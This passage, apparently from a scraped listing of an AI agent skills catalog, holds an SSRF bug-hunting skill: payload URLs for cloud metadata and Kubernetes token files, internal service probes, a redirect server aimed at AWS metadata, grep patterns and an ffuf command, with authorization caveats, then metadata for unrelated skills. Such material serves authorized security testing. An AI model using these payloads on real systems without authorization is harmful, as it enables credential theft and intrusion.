token\nhttp:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01\nhttp:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fidentity\u002Foauth2\u002Ftoken?api-version=2018-02-01&resource=https:\u002F\u002Fmanagement.azure.com\u002F\n# Requires Metadata: true header for Azure requests\n\n# Kubernetes service account credentials (file:\u002F\u002F SSRF)\nfile:\u002F\u002F\u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken\nfile:\u002F\u002F\u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Fca.crt\n```\n\n### Localhost\u002FInternal Port Payloads\n```bash\n# Kubernetes internals\nhttp:\u002F\u002F127.0.0.1:6443\u002Fapi\u002Fv1\u002Fnamespaces\nhttp:\u002F\u002F10.0.0.1:6443\u002Fapi\u002Fv1\u002Fsecrets\nhttp:\u002F\u002F127.0.0.1:10250\u002Fpods          # kubelet\nhttp:\u002F\u002F127.0.0.1:2379\u002Fv2\u002Fkeys        # etcd\n\n# Common internal services\nhttp:\u002F\u002F127.0.0.1:6379\u002F               # Redis (check for inline commands)\nhttp:\u002F\u002F127.0.0.1:9200\u002F_cat\u002Findices   # Elasticsearch\nhttp:\u002F\u002F127.0.0.1:5601\u002F               # Kibana\nhttp:\u002F\u002F127.0.0.1:8500\u002Fv1\u002Fcatalog\u002Fservices  # Consul\n```\n\n### Redirect-Based SSRF (when direct is blocked)\n```python\n# Simple Python redirect server\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass Redirect(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(301)\n        self.send_header('Location', 'http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F')\n        self.end_headers()\n\nHTTPServer(('0.0.0.0', 8080), Redirect).serve_forever()\n```\n\n### Headless-renderer validation\n\nUse a unique harmless callback to an owned receiver and a separate synthetic internal canary only when explicitly in scope. Browser same-origin\u002FCORS\u002Fprivate-network restrictions may prevent reading internal responses even when a request is sent. Do not fetch or encode real metadata tokens, user data or secrets into callback URLs\u002FDNS labels.\n\n### Grep Patterns for Source Code Review\n```bash\n# Find URL fetch operations\ngrep -rE \"(fetch|curl|urllib|requests\\.get|http\\.get|axios\\.get)\\s*\\(\" --include=\"*.py\" --include=\"*.js\" --include=\"*.go\"\n\n# Find URL parameters being passed to HTTP clients\ngrep -rE \"(url|uri|endpoint|redirect|src|source)\\s*=\\s*req\\.(query|body|params)\" --include=\"*.js\"\n\n# Find redirect following\ngrep -rE \"(follow_redirects|allow_redirects|followRedirects)\\s*=\\s*[Tt]rue\"\n```\n\n### ffuf Parameter Discovery\n```bash\nffuf -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FWeb-Content\u002Fburp-parameter-names.txt \\\n  -u \"https:\u002F\u002Ftarget.com\u002Fapi\u002Fendpoint?FUZZ=https:\u002F\u002FYOUR.callback.com\" \\\n  -fs 0 -mc all\n```\n\n---\n\n## Common Root Causes\n\n1. **\"The user said it was safe\"** — Developers trust user-supplied URLs for fetching remote resources (link previews, thumbnails, webhooks) without validating the destination. The feature is legitimate; the missing validation is the bug.\n\n2. **Allowlist bypass via redirects** — Developers validate the initial URL against an allowlist but configure HTTP clients to follow redirects automatically. An attacker's server on the allowlist redirects to an internal address.\n\n3. **Aggregated\u002Fproxy API trust** — Kubernetes-style architectures where an API aggregation layer blindly proxies 30x responses from registered extension servers. Compromising a single extension server gives SSRF into the core API.\n\n4. **Server-side rendering without sandboxing** — Headless browser features (PDF generation, link preview screenshots) execute attacker-controlled JavaScript in a network-privileged context with access to metadata services.\n\n5. **XML\u002FDSPL\u002Ffile parsers fetching external entities** — Import features that parse structured files (XML, DSPL, CSV with remote schemas) fetch attacker-controlled URLs, often with no URL validation at all.\n\n6. **Internal hostname leakage via response differences** — Services return different error messages, timing, or response sizes for internal vs. external hosts, enabling blind enumeration even when content isn't returned.\n\n7. **Metadata reachability** — AWS IMDSv2 requires a session-token exchange; GCP normally requires `Metadata-Flavor: Google`. URL-only SSRF does not automatically satisfy these constraints or imply credential access.\n\n---\n\n\n## Contents\n\n- [Bypass Techniques](references\u002Fdetails.md)\n- [Gate 0 Validation](references\u002Fdetails.md)\n- [Real Impact Examples](references\u002Fdetails.md)\n- [Disclosed Report Citations (Backfill +6 — 2018-2024)](references\u002Fdetails.md)\n- [Related Skills & Chains](references\u002Fdetails.md)\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Restrict callbacks to an approved owned receiver; do not send credentials or personal data to OOB services. Internal scanning, cloud metadata, file schemes and protocol-changing tests require explicit scope and minimal synthetic proof. URL parser, redirect, TLS, header and browser restrictions vary by implementation; payload lists are hypotheses, not guaranteed bypasses.\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":28,"source":46,"license":14,"sources":47,"category":39,"date_added":48,"description":7,"source_repo":49,"source_type":33,"report_count":50,"compatibility":51,"license_source":52},"https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","github, hackerone_public, portswigger_research, binarysecurity_research","2026-09-20","elementalsouls\u002FClaude-BugHunter",34,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","7bf2279c8a65758319526a721d5c4b75683aec9c","skills\u002Fantigravity-hunt-ssrf",3,"https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections","https:\u002F\u002Fgithub.com\u002Fboisenoise","2026-11-12 14:21:24",{"source":8,"skillName":5,"commands":60,"prompt":70,"zipAvailable":71},[61,64,67],{"tool":62,"command":63},"npx","npx skills add boisenoise\u002Fskills-collections --skill hunt-ssrf",{"tool":65,"command":66},"bunx","bunx skills add boisenoise\u002Fskills-collections --skill hunt-ssrf",{"tool":68,"command":69},"pnpm","pnpm dlx skills add boisenoise\u002Fskills-collections --skill hunt-ssrf","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-hunt-ssrf\u002FSKILL.md",true,[73],{"path":74,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":78},"references\u002Fdetails.md","REFERENCE","参考文档",12253,"https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-hunt-ssrf\u002Freferences\u002Fdetails.md",[80,107,133,158,177,199],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":84,"licenseFileUrl":85,"sourceHtmlUrl":86,"categories":87,"keywords":88,"publishedAt":41},"01M6WNH92BHVFXHGPDZCPJ0AG0","web-access","Use Treg for public web or platform data only when existing search, browser and connected tools cannot cover the task, with explicit cost and data boundaries.","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-web-access\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-web-access\u002FSKILL.md",[],[89,90,91,92,93,94,95,96,35,97,98,34,99,100,101,102,103,104,105,106,22],"web","access","web access","official","development","browser","search","data","read","fetch","youtube","free tools","platform","critical","free","cover","normal","when",{"skillNo":108,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":84,"licenseFileUrl":111,"sourceHtmlUrl":112,"categories":113,"keywords":119,"publishedAt":41},"01M6WNF9XAYAB2CZDDJBAKNM93","treg","Use the Treg CLI or MCP catalog to discover, price and call authorized external tools with team-scoped credentials and a user-approved budget.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-treg\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-treg\u002FSKILL.md",[114],{"categoryNo":115,"categoryName":116,"taxonomyType":117,"taxonomyTypeDesc":118},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[109,120,121,40,92,93,36,35,122,123,124,125,126,127,128,102,129,130,131,132,22],"MCP","cli","Budget","credentials","team","catalog","use","call","discover","external tools","with","scoped","blob",{"skillNo":134,"name":135,"nameZh":6,"description":136,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":84,"licenseFileUrl":137,"sourceHtmlUrl":138,"categories":139,"keywords":145,"publishedAt":41},"01M6WN93MEAZ4E41DYAHJRPHQT","recruit","Turn a job description into an evidence-linked candidate shortlist through Treg, with job-related ranking and optional authorized business contact enrichment.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-recruit\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-recruit\u002FSKILL.md",[140],{"categoryNo":141,"categoryName":142,"taxonomyType":143,"taxonomyTypeDesc":144},"01JBSEEDCAT000000000000038","人力资源","PROFESSION","适用职业",[135,40,92,36,146,147,148,149,150,151,102,152,153,154,130,24,155,156,157,132,109,22],"https","email","enrichment","business","evidence","phone","ranking","post","job description","person","candidate","reason",{"skillNo":159,"name":160,"nameZh":6,"description":161,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":84,"licenseFileUrl":162,"sourceHtmlUrl":163,"categories":164,"keywords":165,"publishedAt":41},"01M6WN8R5RXSMHM9B4D9FAFX42","rea-growth","Analyze a company’s public growth and content through Treg, distinguish observations from hypotheses, and produce an evidence-linked playbook within an approved budget.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-rea-growth\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-rea-growth\u002FSKILL.md",[],[166,167,168,40,92,36,169,170,146,171,122,172,173,174,150,102,175,176,132,109,22],"growth","rea","rea growth","produce","content","playbook","marketing","analyze","public","observations","company",{"skillNo":178,"name":179,"nameZh":6,"description":180,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":84,"licenseFileUrl":181,"sourceHtmlUrl":182,"categories":183,"keywords":184,"publishedAt":41},"01M6WN2EVE3RQRGWAKBT4S7YT2","make-ugc","Create original AI UGC-style product videos through Treg: research hooks, approve a licensed presenter and voice, generate clips, add captions and report costs.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-make-ugc\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-make-ugc\u002FSKILL.md",[],[185,186,40,38,92,187,36,188,189,190,191,192,102,193,194,195,196,197,198,132],"make","make ugc","create","Video","Captions","ads","short","hooks","head","style","niche","trending","talking-head","approve",{"skillNo":200,"name":201,"nameZh":6,"description":202,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":84,"licenseFileUrl":203,"sourceHtmlUrl":204,"categories":205,"keywords":206,"publishedAt":41},"01M6WN10ARAA63Y8K1YNGXJ2RM","lead-signals","Find and qualify public buying signals through Treg, rank fitting business accounts and optionally enrich authorized business contact information.","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-lead-signals\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-lead-signals\u002FSKILL.md",[],[207,208,209,40,92,36,210,211,149,212,213,102,214,215,216,217,218,219,220,132],"signals","lead","lead signals","how","find","ready","as","how to","qualify","people","information","enrich","changes","funding"]